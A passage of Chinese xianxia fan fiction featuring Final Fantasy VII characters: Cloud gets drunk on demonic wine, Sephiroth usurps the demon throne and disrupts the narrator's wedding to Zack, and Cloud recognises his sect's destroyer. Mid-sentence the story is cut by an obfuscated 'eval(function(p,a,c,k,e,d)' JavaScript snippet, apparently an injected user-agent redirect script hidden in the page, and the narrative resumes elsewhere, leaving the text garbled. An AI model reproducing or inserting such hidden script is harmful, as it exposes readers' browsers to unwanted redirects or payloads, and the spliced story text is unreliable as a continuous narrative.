我说得轻松随意,仿佛在谈论一件无关紧要的小事,比如今天晚饭吃什么。 但实际上,这决定关乎着未来很长一段时间的魔界与正道的格局。 当然,更重要的是,关乎我能不能继续自由自在地摸鱼。 毕竟,结契也不影响我继续变强修炼。 克劳德沉默地听着,手指无意识地摩挲着粗陶杯壁上的纹路。 “他…很高兴?”过了好一会儿,克劳德才再次开口,声音依旧平淡,却问了一个奇怪的问题。 “应该高兴吧。真奇怪,你难道不觉得很尴尬吗?明明我们之前经常混在一起修行——突然就要在一起了。” 我抖了抖肩膀。 “……” 克劳德将杯中剩余的酒液一饮而尽,喉结滚动了一下。 他没有直接回答我关于“尴不尴尬”的问题,而是将空了的酒杯轻轻放在桌上,发出比刚才更轻微的一点声响。 然后他又面无表情的给自己加了一杯。 烈酒下肚。 一杯,又一杯。 我怀疑他是不是又突然触景生情了。 首先介绍一下,面前的这位剑修有着好似话本里的故事—— 天生天灵根,原先代表着小宗门的未来,然后某天,宗门上下被屠灭。 无人知晓是谁做的。 从此,他就开始正魔两修,不要命似的——誓要找到那天那抹银色魔气的主人。 “……他当然高兴。” 克劳德的声音很轻,几乎要被酒馆的喧闹声淹没,“他一直…” 他没有把话说完,后面的词语像是被他硬生生咽了回去。 “一直什么?” 克劳德抬起头,目光终于再次与我对上。 “没什么。”他再次重复道,端起空杯,示意旁边的店小二,“再来一壶。” 我突然伸出手,把他的杯子压了回去,感觉有些新鲜。 毕竟,他每次跟我出来,都只是浅尝截止—— 总是说着为了复仇,自己要时刻保持清醒。 “喝这个有什么意思?来来来,喝我的酒。” 我手腕一翻,一个约莫半人高、通体漆黑的酒坛就“咚”地一声落在了油腻腻的木桌上,震得桌上的空杯子和花生壳都跳了一下。 这酒坛材质特殊,非金非玉,表面没有任何花纹,却天然氤氲着一层淡淡的、流转不息的黑色魔气,偶尔有细碎的银色光点在魔气中一闪而逝,如同夜空中的星辰。 坛口用一块暗红色的符文布紧紧封着,隐隐有浓郁的酒香混合着某种奇异的能量波动从中逸散出来。 周围几桌正在划拳喝酒的凡人修士被这动静吸引,纷纷侧目望来,当他们感受到那股精纯又带着压迫感的魔气时,脸色都变了变,连忙低下头去,不敢再看。 连原本咋咋呼呼的店小二也识趣地躲到了柜台后面,偷偷探出半个脑袋。 “喏,尝尝这个。” 我拍了拍冰凉的坛身,挑眉看向对面的克劳德。 “这可是我们魔界特产的‘蚀骨销魂酿’,凡品可比不了。保证你喝一口就忘掉什么烦恼,什么仇家,只想醉生梦死。” “魔界的酒?” 他眉头微蹙,青蓝色的眼眸中划过一丝复杂的情绪,有抗拒,也有那么一点点被勾起的好奇。 “你确定我能喝?” “哎呀,放心啦。” 我满不在乎地摆摆手,直接扯开了坛口的符文布。 一股更加浓烈、霸道的酒香瞬间弥漫开来,带着一种奇异的、蛊惑人心的甜腻气息,与凡间那些烈酒的辛辣截然不同。 “我改良过的,稀释了魔气,顶多就是让你修为精进一点,或者做个特别真实的梦什么的,死不了人。” 说着,我直接提起酒坛,给他面前那个空了的粗陶杯满上。 暗红色的酒液如同融化的宝石,粘稠而色泽深邃,倒入杯中时甚至能看到细微的魔气在液面上缭绕。 “怎么?不敢喝?”我斜睨着他,“堂堂正魔双修的天才剑修,连坛酒都不敢碰?怕我下毒害你啊?” 克劳德的嘴唇抿成一条直线,盯着那杯散发着诡异光泽和诱人香气的酒液,沉默了片刻。 他没有直接回答我的问题,反而沉声发问。 “你真的…决定了?就因为魔尊的命令?为了所谓的‘和平’?” “不然呢?” 我反问,给自己也倒了一杯。 “难道还有更好的选择?再打个几百年?我可没那个闲工夫陪他们玩了。” “再说了,扎克斯那家伙人还不错,以后我当了魔尊,一统三界,让他当个先锋大将给我冲锋陷阵也挺好。” 我轻描淡写地说着。 克劳德拿起酒杯,指尖触碰到微凉的杯壁。 他没有立刻喝下去,而是缓缓摇晃着杯中的酒液,看着那暗红色的液体在杯壁上留下一道道粘稠的痕迹。 “扎克斯…他很好。” “他很善良,很勇敢,有美好的未来,不像……” 戛然而止。 接着,是一句莫名的,好像在说服自己的总结。 “他很重视你。他会是个好道侣。” 克劳德没有再说话了。 他端起酒杯,仰头,将那杯暗红色的“蚀骨销魂酿”一饮而尽。 酒液入喉,他似乎被那奇异而霸道的滋味呛了一下,细微地咳嗽了一声,白皙的脸颊上迅速泛起一层不自然的红晕,连耳根都有些发烫。 那双青蓝色的眸子蒙上了一层水汽,显得有些迷离。 “唔…” 他发出一声压抑的闷哼,放下酒杯时,手指有些轻微的颤抖。 还没等我说些什么,他又猛地灌了一杯。 一口,又一口。 没过多久,他那张原本只是微醺泛红的脸颊,已经彻底染上了深红,连脖颈都难以幸免。 额头上渗出细密的汗珠,混合着鬓角散落的金发,黏在皮肤上。 那双漂亮的青蓝色眸子此刻完全失去了平日的冷漠和锐利,蒙上了一层浓重的水汽,眼神涣散,焦距都有些对不准了,直勾勾地盯着桌面上某个并不存在的点。 他呼吸的频率也变快了,带着灼热的酒气,胸膛微微起伏。 握着酒杯的手指不再仅仅是泛白,而是开始控制不住地轻颤,好几次都险些拿不稳杯子,让暗红的酒液洒出来。 “喂喂喂,慢点喝,克劳德。” 我用手指敲了敲桌面,试图引起他的注意。 “这酒后劲大得很,你这么个喝法,是想直接醉死在这里,明天早上让扎克斯来给你收尸吗?” 克劳德似乎没有听清我的话,他只是茫然地抬起头,眼神飘忽地在我脸上转了一圈,然后又低下头去,伸手去够那个已经被我挪远了一点的酒坛。 “酒…再来…” 他的声音含糊不清,带着浓重的鼻音。 “还喝?”我按住他的手腕,触手一片滚烫。 魔界的酒对他这种正道底子的人来说,效果果然非同凡响。 “你再喝下去,怕是真的要‘蚀骨销魂’了。而且,我的酒可不便宜。你到底怎么了?” “不是…不是那样…” 他喃喃道,声音很轻,几乎被酒馆的嘈杂淹没。 莫名其妙。 “那是哪样?”我挑眉追问,手指在他滚烫的手腕上轻轻点了点,“难道你暗恋扎克斯?看我要把他抢走了,所以伤心了?哎呀,这可真是……” 我的话还没说完,克劳德突然猛地甩开了我的手,动作幅度之大,差点把他自己从凳子上掀下去。 “不是!”他几乎是吼出来的,声音嘶哑,带着酒后的激动和某种压抑不住的情绪,“不是扎克斯!” 这一声吼叫成功让周围几桌的喧闹声都停顿了一下,几道好奇或是不满的目光投了过来。不过很快,那些凡人修士又各自转回头去,继续他们的喧闹。 在这种龙蛇混杂的地方,酒后失态的人并不少见。 克劳德大口地喘着气,胸膛剧烈起伏,脸上的红晕因为激动而变得更加深沉。 他瞪着我,那双蓝眸里水光闪烁,却不再是迷茫,而是某种强烈的情绪在燃烧,像是愤怒,又像是委屈。 “那你到底在气什么?” 我更好奇了,身体微微前倾,双手撑着下巴,一副准备听故事的架势。 克劳德的呼吸一滞,眼神闪烁了几下,避开了我的目光。他低下头,额前的金发垂落下来,遮住了他的眼睛。 “我…” 他张了张嘴,似乎想说什么,但最终只是发出一声短促而压抑的音节,像是在自嘲,又像是在叹息。 “呵……” 然后,他彻底闭上了嘴。 只是固执地伸出手,随手从桌上抓起一个酒杯,也不管里面是空的,就往嘴边送。 凡界的深夜总是有很多星星。 街道两旁的店铺大多已经打烊,只有几家挂着红灯笼的小酒肆或客栈还透出昏黄的灯光,偶尔传来几声模糊的划拳声和笑闹,很快又被寂静的夜色吞没。 空气中弥漫着潮湿的泥土气息和晚风带来的草木清香,比魔界那股子硫磺味和血腥气好闻多了。 我一手扛着烂醉如泥的克劳德,一边在街道上走着。 夜风吹过,他的金发稍稍摇晃。 “不…不行…” 肩上的克劳德突然含糊不清地嘟囔了一句,身体扭动了一下,差点从我身上滑下去。 我赶紧把他扶稳,没好气地问:“不行什么?再乱动我可真把你扔地上了啊。” 他当然没回答,只是把脸往我颈窝里埋得更深了点,温热的鼻息喷在我的皮肤上,带来一种陌生的、有些让人不自在的感觉。 “凭什么…”他又低声说了一句,声音带着浓浓的鼻音和一丝不易察觉的委屈,“明明…是我先…” 先什么? 我皱起眉头。 先认识扎克斯?还是先认识我? 我叹了口气。 “你是断袖你就早说,我把扎克斯让给你不就好了,重新选个人又不难。” “不是…”他似乎想反驳,声音却越来越低,最后化作一声悠长的、带着委屈的叹息,“…你…” “我?我怎么了?” 我停下脚步,侧过头想看看他的表情,但他把脸埋得太深,只能看到他微微颤抖的睫毛和通红的耳根。 “你…不能…” 他又嘟囔了一句,然后像是耗尽了力气,彻底安静下来,只剩下均匀但略显急促的呼吸声。 我无奈地摇摇头,继续往前走。 算了,跟一个醉鬼计较什么。 当务之急是找个地方把他扔下,然后我好找个清净地方在结契前好好爽爽——比如大吃一顿。 前面不远处正好有家看起来还算干净的客栈,门口挂着两盏随风摇曳的灯笼,上面写着“悦来客栈”四个歪歪扭扭的凡间文字。 就这儿吧。 我刚要抬脚往客栈走去,肩上的克劳德突然又有了动静。他似乎是做了什么噩梦,身体猛地一颤,手臂无意识地收紧,紧紧地环住了我的脖子。 力道之大,差点把我勒倒。 “喂!松手!克劳德!”我被他这突如其来的动作吓了一跳,赶紧伸手去掰他的胳膊,“你想勒死我啊!” 他的手臂却箍得更紧了,像是抓住了救命稻草一般,嘴里发出一连串急促而破碎的音节:“不…别走…我的…别…” 温热的液体滴落在我的脖颈上。 我愣了一下才反应过来,这家伙…居然哭了? 一个大男人,还是个平日里闷得像冰块一样的剑修,整日嘴里都是“复仇”,“清算”“不感兴趣”—— 居然因为怕他好兄弟被我“抢走”而喝醉了哭鼻子? 这也太… 我一时竟不知道该作何反应,就这么僵在原地,任由他像只受惊的小动物一样紧紧抱着我,滚烫的眼泪不断落在我的皮肤上。 夜风吹过,带来一丝凉意,却吹不散脖颈处那灼人的湿热。 酒馆里的喧闹早已远去,此刻的街道寂静无声,只有克劳德压抑的、细微的抽泣声,和我的心跳声交织在一起。 “行了行了,我不走,不走还不行吗?” 我叹了口气,语气也不自觉地放软了一些,抬手轻轻拍了拍他的后背。 “真是怕了你了。我不抢你兄弟了,行了吧?扎克斯还是你的,我重新选个人就是了。多大点事儿,至于哭成这样吗?” 我的安抚似乎起了点作用,克劳德的抽泣声渐渐小了下去,但环在我脖子上的手臂依旧没有松开,反而像是寻求安全感一样,把脸在我颈侧蹭了蹭。 湿漉漉的脸颊贴着我的皮肤,带着酒后的滚烫和泪水的冰凉,这种感觉…… 真是诡异又麻烦。 我调整了一下姿势,用更大的力气把克劳德重新扛稳,然后抬脚踹开了“悦来客栈”那扇看起来就不太结实的木门。 “砰”的一声巨响,伴随着木门摇晃的吱呀声,成功吸引了大堂里所有人的目光。 柜台后面那个原本还在打瞌睡的、穿着灰布褂子的店小二猛地惊醒,瞪大了眼睛看着突然闯入的“不速之客”。 几个零散坐在角落喝酒聊天的客人也纷纷侧目,脸上带着好奇和警惕。 我无视了那些视线,径直走到柜台前,将肩上还在不安分扭动的克劳德往柜台上一放——当然,是比较轻柔地放,免得真把这价值连城的“麻烦”给摔坏了。 克劳德被这突如其来的“着陆”惊了一下,迷迷糊糊地睁开眼,涣散的目光扫过周围陌生的环境,然后又迅速闭上,嘴里嘟囔着什么“头疼”、“吵”之类的抱怨,伸手就想去抓我的衣袖。 我眼疾手快地躲开,顺手拍了一下他不安分的手背。 “老实点!” 我低声警告道,然后抬头看向那个已经吓得有些脸色发白的店小二,尽量让自己的语气显得和善一点(虽然可能效果不佳)。 “喂,小二,给我开间上房,要最安静的那种。” 店小二咽了口唾沫,目光在我那身一看就不是凡品的黑色衣袍和旁边醉得不省人事的克劳德之间来回扫视,哆哆嗦嗦地开口: “客、客官,您…您这是…?” “他喝醉了,需要休息。” 我言简意赅地解释道,顺手从储物戒指里摸出一小袋沉甸甸的灵石,扔在了柜台上,发出清脆的碰撞声。 “够不够?不够再说。” 看到那袋闪烁着灵光的上品灵石,店小二的眼睛瞬间就亮了,之前的恐惧和疑虑一扫而空,脸上立刻堆满了谄媚的笑容。 “够!够!太够了!客官您里边请!小的这就给您安排最好的天字号房,保证清静!绝对没人打扰!” 他手脚麻利地收起灵石,从柜台后面抽出一把黄铜钥匙,点头哈腰地就要引我上楼。 “等等。” 我叫住了他,指了指还趴在柜台上哼哼唧唧的克劳德:“把他弄上去就行。” 开玩笑,我扛他一路已经够给面子了。 “啊?哦!是是是!” 店小二连忙应声,又招呼了另一个看起来比较壮实的伙计过来,两人小心翼翼地架起烂醉如泥的克劳德,像是抬着什么易碎的宝贝一样,往楼梯口走去。 克劳德似乎很不满意被陌生人触碰,身体扭动挣扎起来,嘴里发出含糊的抗拒声。 “放开…别碰…我…” 那两个凡人伙计被他这突如其来的挣扎吓了一跳,差点没架住他。 “闭嘴,克劳德!” 我不耐烦地喝了一声。 听到我的声音,克劳德的挣扎动作奇迹般地停顿了一下,虽然依旧是一脸难受的表情,但总算不再乱动了,任由那两个伙计把他搀扶着上了楼。 我跟在后面,确认他们把他丢进去后,拍了拍手。 忙活了这么半天,还没吃晚饭呢。刚才那坛“蚀骨销魂酿”闻着挺香,但我自己可没喝多少,都被克劳德那家伙豪饮下去了。 是时候去祭一下我的五脏庙了。 [4] 结果我爽吃了一天,等到第二天清晨,才从酒楼中惊醒。 “……” 对了,昨天把克劳德那个醉鬼扔进悦来客栈后,我自己找了家修仙界的酒楼,痛痛快快地大吃大喝了一顿。 什么烧鸡烤鹅、油焖灵虾、香煎雪鱼……灵气充沛,滋养神识,吃的我不亦乐乎。 尤其是那坛号称千年仙酿“醉仙霖”,入口醇厚,回味悠长,比起魔界那些霸道猛烈的魔酒,别有一番风味。 嘴角还沾着酒液,我正摇摇晃晃的准备起来—— 对了。 今天我要结婚。 刚往前走一步,就被好几种传音符连番轰炸。 【“师姐!师姐你醒了吗?!已经快辰时了!你到哪里了啊?我们这边都准备得差不多了!好多好多人!连掌门师祖都出关了!”】 紧接着,另一张青色符纸也亮了起来:【“礼服!师姐,你到底喜欢哪种啊?】 【我准备了好几套!红色的那套特别喜庆,绣着金凤穿云!】 【还有月白色的,是我们青云宗的样式,料子是千年冰蚕丝,特别飘逸!】 【你要不要先看看样子?我给你传个影像过去?”】 还有另外几张黑色符纸。 【“时辰不早了。青云宗那边已经派人来催过三次。莫要误了吉时,让正道那些人看了笑话。”】 【“此次结契,关乎两界和平大计,也是对你的一次考验。收敛你的性子,今日行事,务必稳重得体。”】 这语气,不用说就是那个便宜妈。 我撇了撇嘴,对着那黑色符纸应付了一声:“知道了。” 去哪里……青云宗是吧? 我抬手,一道空间裂隙在面前无声无息地展开,漆黑的缝隙中透出纯粹的虚无气息。 我抬脚踏入。 宿醉带来的些微眩晕感在踏出裂隙的瞬间便被清新的空气冲散了大半,但又再次涌现——看来那家酒楼的仙酿有些实力。 我环顾四周,不由得挑了挑眉。 这里便是青云宗的山门所在了。 与魔界那终年不见天日、充斥着硫磺与血腥气息的阴暗环境截然不同,映入眼帘的是一片开阔明朗的景象。 巨大的白玉牌坊巍然屹立,高达百丈,其上龙飞凤舞地雕刻着“青云”二字,笔锋苍劲有力,隐隐散发出浩然正气,对魔气有着天然的压制效果。 如果不是我修为够高,且提前收敛了大部分魔气,光是站在这牌坊下,恐怕就会感到极度的不适。 牌坊之后,是层层叠叠、宛如白玉砌成的阶梯,蜿蜒向上,直入云霄深处。 云雾缭绕间,隐约可见飞檐斗拱、仙鹤翔集的宫殿楼阁,瑞气千条,霞光万道,好一派仙家气象。 空气中弥漫着草木的清香和浓郁的天地灵气,吸上一口都让人觉得神清气爽——当然,对我这种魔修来说,这种过于纯净的灵气反而有点“寡淡”。 此刻,白玉牌坊前方的巨大广场上,早已是人山人海。 无数身着各色服饰的修士聚集在此,看服饰大多是青云宗的弟子,从外门杂役到内门精英,几乎倾巢而出。 他们按照修为和身份排列成整齐的方阵,一个个神情肃穆,目光齐刷刷地望向我这边,眼神中充满了复杂的情绪—— 有好奇,有警惕,有戒备,甚至还有毫不掩饰的厌恶和敌意。 想来也是,我堂堂魔界未来的继承人,在不久前还是战场上你死我活的敌人,如今却要和他们宗门的“天之骄子”结为道侣。 这画面对他们来说,恐怕比吞了一百只苍蝇还难受。 除了青云宗弟子,广场两侧还搭建了数座高台,上面坐满了来自其他正道宗门前来观礼的代表。 那些老家伙们一个个道貌岸然,捋着胡须,目光如炬地将我从头到脚打量,那审视的眼神,好检查什么稀世珍宝,又好检验什么下等货物。 啧,麻烦。 我的出现,无疑像一块巨石投入平静的湖面,瞬间打破了广场上原本庄严肃穆的气氛。 低低的议论声如同潮水般响起,即使隔着老远,以我的耳力也能清晰捕获一些片段。 “她就是那个魔女?看起来…好像也没长三头六臂啊。” “哼,妖魔鬼怪,岂可以常理度之?你看她身上那股邪气,离这么远都让人不舒服!” “听说她在战场上杀人不眨眼,手段极其残忍,真不知道扎克斯师兄是怎么想的,竟然要和这种人结为道侣!” “嘘!小声点!这是宗门和魔尊定下的,为了两界和平,也是无奈之举。” “和平?我看是引狼入室!和魔族谈和平,简直是与虎谋皮!” 弱者的聒噪,从来不在我的考虑范围之内。 我刚往前一步,就被几个侍女似的人物抓走了。 半个时辰后,头还有点晕的我几乎是大变样。 她们在我头上插满了各种亮闪闪、叮当作响的发簪步摇,又在我脸上涂了一层又一层不知道什么玩意儿的粉末,最后还非要给我画上柳叶眉、点上桃花妆。 最不能忍的是那身衣服! 扎克斯那小子到底准备了多少套?! 一套是大红色的嫁衣,上面用金线绣满了繁复的凤凰祥云图案,裙摆拖曳在地,层层叠叠,华丽是华丽,但也重得要命,穿上感觉像是背了一座小山。 我当场就表示拒绝,理由是“太难看了,像个移动的红包”。 侍女们面面相觑,大概没料到我会如此直白。 接着她们又拿出了一套月白色的礼服,据说是青云宗的最高规格礼制服饰,料子是万年冰蚕丝所制,轻盈飘逸,上面用银线绣着流云暗纹,看起来倒是清爽了不少。 “这件怎么样,殿下?”年长侍女试探着问,语气带着几分小心。 我瞥了一眼,撇撇嘴: “还行吧,至少不像唱戏的。不过这颜色太素了,不知道的还以为谁家办丧事呢。” 侍女们的脸色又僵了一下。 最后她们结合了两者的特点,弄出了一套……怎么说呢,不伦不类的衣服。 以月白色的冰蚕丝礼服为底,但在领口、袖口和腰间镶嵌了赤金滚边,裙摆处也用金线绣上了象征魔界的暗纹图腾(也不知道她们从哪搞来的),外面还罩上了一件轻薄的黑色纱衣,纱衣上用银线勾勒出星辰流转的图案。 头发被高高挽起,用一根造型奇特的黑色玉簪固定,玉簪尾部垂下几缕细碎的银链,随着我的动作轻轻晃动。 脸上原本浓厚的妆容被卸掉了大半,只保留了细长的眼线和一点点提升气色的唇脂。 总体来说,就是在一身仙气飘飘的正道服饰上,强行加入了许多魔界的元素,试图达到一种“正魔结合”的效果。 “啧,真是难看死了。”我看着镜子里那个既不像正道修士也不像邪修的自己,毫不留情地评价道。“穿成这样出去,不知道的还以为我是哪个唱野台戏的班子跑出来的。” 侍女们低着头,大气不敢喘,估计心里已经把我骂了一百遍。 “行了行了,就这样吧。”我挥挥手,实在懒得再折腾了,“赶紧结束赶紧走人。” 就在这时,门外传来一阵略显急促的脚步声,紧接着,一个清朗又充满活力的声音响了起来:“师姐!你好了吗?吉时快到了!” 房门“吱呀”一声被推开,扎克斯探进半个脑袋,黑色的短发依旧精神抖擞地翘着,只是脸上带着明显的紧张和兴奋,脸颊也有些泛红。 他身上穿着一套崭新的青云宗核心弟子礼服,月白色的衣袍衬得他身姿挺拔,只是那双湛蓝的眼睛此刻正亮晶晶地四处张望,完全破坏了那份应有的稳重。 当他的目光落在我身上时,他整个人都愣住了,眼睛瞪得溜圆,嘴巴也微微张开,像是看到了什么不可思议的景象。 “哇……”他下意识地发出一声惊叹,然后像是意识到自己的失态,连忙清了清嗓子,脸颊更红了,“师、师姐,你…你今天真好看!” 他说话都有些结巴了,眼神飘忽,不敢直视我,耳根也红得快要滴血。 “好看?” 我嗤笑一声,抬手扯了扯身上叮当作响的配饰。 “你是说这些累赘的东西好看,还是说我脸上这层能刮下来二两的粉好看?” “不、不是!”扎克斯连忙摆手,急切地解释道,“都好看!师姐你怎么样都好看!真的!就是…跟平时不太一样,特别…特别……” 他似乎在努力寻找合适的形容词,憋了半天,才憋出一句,“特别有气势!” “那是当然。”我扬了扬下巴,“毕竟是未来的魔尊,能没气势吗?” 扎克斯挠了挠后脑勺:“那是那是!师姐最厉害了!” 他往前走了几步,凑到我面前,压低声音,神秘兮兮地问:“对了师姐,昨晚你跑哪去了?我给你发了那么多传音符都没回!“ ”克劳德那家伙也是,后来也联系不上了,你们俩没事吧?” 他提起克劳德,我那有些不清醒的脑子才回过神。 对了,我还要跟扎克斯说声好像不能结契了来着。 毕竟克劳德好像不想失去他这个兄弟。 话还没开口,我就被几个侍女披上了一块红色的布——还是用特殊的灵力织成的,我的神识还透不出去。 真的什么都看不见了。 接着,好像有好几个人抓着我往前拽。 这里是灵气极其充沛的地点,导致我的魔气有些凝滞,晃得我甚至想吐。 这给我带哪来了? “师姐!你没事吧?是不是不舒服?” 扎克斯那有点焦急的声音在我身边响起,离得很近。他好像想靠近,但又被什么无形的东西隔开了。 他的声音透过盖头传过来,有些失真,但那份担忧却很清晰。 “她们是不是弄疼你了?你别怕,有我在呢!很快就好了!” 我好得很,只是快被这群傻瓜和这身行头烦死了。 还有你小子,就不能说点实际的?比如直接把这破布给我掀了! 最后,我没好气地闷哼一声,懒得回应他。 又被推着往前走了一段距离,脚下的触感似乎变了,不再是光滑的玉石,而是某种带着纹路的、更加坚实的地面。 好像是走上了一个高台? 周围的议论声似乎更响亮了,乐器声也猛地拔高了一个调,变得更加激昂。一个苍老而洪亮的声音响彻整个空间,带着某种威严和不容置疑的力量: “吉时已到——!” 这声音像是某种信号,嘈杂的人声瞬间安静下来,只剩下那依旧吵闹的“仙乐”还在回荡。 来了来了,烦人的流程开始了。 我被侍女推着往前走了几步,脚下的地面更加坚实平整,应该就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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与一对瑰丽的翠色眸子对上了视线。 [5] “是萨菲罗斯!魔界那个杀神!” “他怎么会出现在这里?!” “好可怕的魔气!他想干什么?抢亲吗?!” “快!护驾!保护扎克斯师兄!” 一股浓郁到化不开的血腥气从他身上散发出来,混杂着精纯却又狂暴的魔气,瞬间将周围原本清净纯粹的灵气搅得一片混乱。 萨菲罗斯的脸色苍白得近乎透明,银色的长发并未束起,有几缕散落在颊边,沾染着暗红的、尚未干涸的血迹。 原本穿在他身上的黑色魔纹长袍也有些凌乱,衣摆处甚至能看到破损的痕迹,显然是经历了一场恶战,或者说…他是强行冲破了什么阻碍才来到这里的。 这家伙… 宿醉带来的混沌感瞬间被这突如其来的变故和扑面而来的浓烈魔气彻底冲散了,大脑一片清明。 仔细一看,萨菲罗斯的手腕上,好像有—— “今日起,我是魔尊。” 那漆黑的令纹。 不是,他直接篡位了?亏我还以为你是去血池疗伤。 “萨菲罗斯,你这出场方式还真是别致啊。” 我抬起另一只自由的手,慢条斯理地拨开垂落在额前的一缕碎发,目光在萨菲罗斯手腕上那枚崭新的、散发着幽暗光芒的漆黑令纹上停留了一瞬。 “恭喜啊,新任魔尊陛下。是刚处理完那便宜老妈,顺路过来砸场子的?” 杰诺瓦式孝道,我早已习惯——虽然,那个位置在我心中早就是我的了。 萨菲罗斯冰冷的目光终于从我脸上移开,淡淡地瞥了一眼周围那些对他怒目而视、严阵以待的正道修士,那眼神如同在看一群蝼蚁,充满了漠然和轻蔑。 他甚至没有理会那几个叫嚣的长老,只是将视线重新落回到我身上。 “跟我走。” “师姐!” 一旁的扎克斯终于找回了自己的声音,他猛地转过身,一把推开旁边试图将他拉到身后的长老,跨前一步,挡在了我和萨菲罗斯之间。 虽然他的脸色依旧有些苍白,但眼神却重新燃起了愤怒的火焰。 “萨菲罗斯!你放开师姐!今天是我和师姐结为道侣的日子!你凭什么来捣乱!” “你的?” 萨菲罗斯终于正眼看向扎克斯,那双翠绿的竖瞳中充满了冰冷的讥讽和不屑,他甚至吝于多说一个字,只是轻蔑地重复了一遍。 “……你的?” 那语气,仿佛在嘲笑一个不知天高地厚的小孩,妄图染指不属于他的珍宝。 “当然是我的!” 扎克斯毫不示弱地回瞪着他,挺直了脊梁,声音更加坚定。 “我和师姐是奉双方长辈之命,依两界和平之约,明媒正娶结为道侣!” 他一边说着,一边下意识地将我往他身后拉了拉,虽然因为萨菲罗斯攥着我的手腕而没能成功,但那份维护的姿态却显露无疑。 “长辈之命?和平之约? ”萨菲罗斯发出了一声极轻的嗤笑,那笑声中充满了嘲弄。 “魔界的‘长辈’,现在是我。” 他微微抬起手腕,展示着那枚象征至高权力的魔尊令纹,漆黑的令纹在他苍白的手腕上显得格外醒目,散发出令人心悸的黑暗气息。 “至于‘和平之约’?” 萨菲罗斯的目光扫过台下那些神情各异的正道修士,最终落在我身上,眼神幽深难辨。 “现在,由我说了算。” 他的潜台词很明显:他不同意这门亲事,所谓的和平之约也就此作废。 “你!” 萨菲罗斯不再理会气得跳脚的扎克斯,再次看向我。 冰冷的指尖轻轻滑过我的手腕内侧,带来一阵细微的战栗。 “我们回去吧。” ”……“ 我已经拼尽全力在憋笑了。 萨菲罗斯怎么能说出这么装的台词的? 不会笑场吗? 正当我要绷不住时,一个金色的身影猛地闯入大殿。 狼狈,急切,甚至是不安的紧张。 ”……扎克斯,我——“ 克劳德抬起头,望见了此时诡异的一幕。 “……” 不知他原先要做的事情是什么,反正,此刻,克劳德那对浅青色的眸子瞪大了。 萨菲罗斯的眉头皱起来了。 他似乎没想到还会有不速之客。 而我—— “噗嗤。” 对不起扎克斯,但是萨菲罗斯的台词真的太好笑了。 高台上瞬间安静了一瞬。 所有人的目光—— 无论是萨菲罗斯冰冷的竖瞳,扎克斯充满怒火和疑惑的蓝眸,还是台下那些正道修士们或惊恐或愤怒的眼神,齐刷刷地聚焦到了我身上。 就连刚刚闯进来,还带着宿醉未醒的狼狈,正一脸茫然与震惊交织表情的克劳德,也下意识地看向了我。 他站在大典高台的入口处,金色的头发乱糟糟的,有几缕还因为汗水黏在额角和脸颊上,脸色是一种混合着酒后潮红和强行运气压制不适感的苍白。 身上的衣服也皱巴巴的,甚至还能看到一小块不明显的污渍,大概是昨晚什么时候蹭到的。 眼神有些涣散,却又强撑着锐利,直勾勾地盯着高台中央这混乱的一幕。 倏地,他瞪大了眼睛。 那股熟悉的、带着死亡与绝望气息的银色魔气。 “是你……是你灭了我宗门上下?!” 那魔气,与他记忆深处那个血色黄昏里,笼罩着整个宗门废墟,萦绕在师长、同门冰冷尸体上的气息,一模一样。 “锵——!” 一声清越的剑鸣响彻云霄。克劳德甚至没有多余的动作,手腕一翻,那柄造型古朴、剑身宽厚的重剑便已出鞘。 原本略显黯淡的剑身在触及他狂暴灵力的瞬间爆发出刺目的青蓝色光芒,凌厉的剑气如同实质般四溢开来,吹动了他额前散乱的金发。 这突如其来的变故让所有人都始料未及。 扎克斯瞳孔猛缩,下意识地惊呼出声:“克劳德!” 他完全没料到自己这个平日里闷葫芦一般的好友会突然爆发出如此可怕的杀意和力量! 而且,目标竟然是萨菲罗斯?! 台下的正道修士们更是哗然一片! “是克劳德!那个正魔双修的怪才!” “他怎么也来了?还和萨菲罗斯打起来了?!” “好强的剑气!这威力…恐怕已经接近合体后期了吧!” 几个青云宗的长老脸色凝重,互相对视一眼,有心想阻止,却又顾忌着萨菲罗斯那深不可测的实力和新晋魔尊的身份,一时间竟无人敢轻举妄动。 而作为被攻击目标的萨菲罗斯,面对这突如其来的凌厉攻势,脸上却没有丝毫的惊讶或慌乱。 他甚至连握着我手腕的那只手都没有松开,只是那双冰冷的翠绿竖瞳微微眯起,如同高高在上的神祇,俯视着冲向自己的蝼蚁。 在那密集的剑气风暴即将临身的刹那,萨菲罗斯终于动了。 他并未唤出自己的魔刀“正宗”,只是空着的左手随意地抬起,五指微张,掌心之中,一团粘稠如墨的黑暗魔气迅速凝聚,形成一个不断旋转、散发着不祥气息的黑色漩涡。 “【狱门】·噬。” [6] 三年后。 正魔边界,寒霜谷。 临时搭建的议事大殿内,气氛比谷外的万年寒冰还要冷冽几分。 一张巨大的寒玉方桌摆在中央,散发着森森寒气。 桌子的两侧,泾渭分明地坐着正魔两道的代表。 魔道这边,自然是以新晋魔尊萨菲罗斯为首。 他依旧是一身绣着暗金魔纹的黑色长袍,银发如瀑,面无表情地端坐着,那双翠绿的竖瞳半阖着,没人知道他在想什么。 而我,则被他“安排”坐在他右手边的位置上,百无聊赖地用手指敲击着冰冷的桌面。 萨菲罗斯的手,从始至终都放在我的左手手背上,不轻不重。 对面,正道那边,已然不是那些须发皆白的青云宗太上长老,而是换了一身服饰的扎克斯和克劳德。 扎克斯看起来成熟了不少,眉宇间多了几分沉稳,但看向萨菲罗斯的目光依旧带着警惕和复杂。 他穿着青云宗的服饰,他时不时地用眼神安抚旁边那个浑身散发着生人勿近气息的金发剑修。 克劳德的变化更大。 他依旧是那副冷冰冰的样子,但周身的气息更加内敛也更加危险。 三年的追杀与战斗,让他的眼神如同淬了冰的利刃,死死地锁定在萨菲罗斯身上,那毫不掩饰的杀意几乎要凝成实质。 他穿着便于行动的黑色劲装,那柄符文重剑就靠在他的椅背旁,剑身上似乎又多了几道新的痕迹 “我说——” 我懒洋洋地开口,目光扫过对面那两个明显精神紧绷的家伙。 “你们已经打了三年了吧?克劳德,你就这点本事吗?追杀了三年都没能把他宰了?” 我的声音不大,但在这落针可闻的大殿里却格外清晰,瞬间吸引了所有人的目光。 对面的克劳德猛地抬头,眼神射向我,但更多的是射向我身边的萨菲罗斯,他放在剑柄上的手青筋暴起。 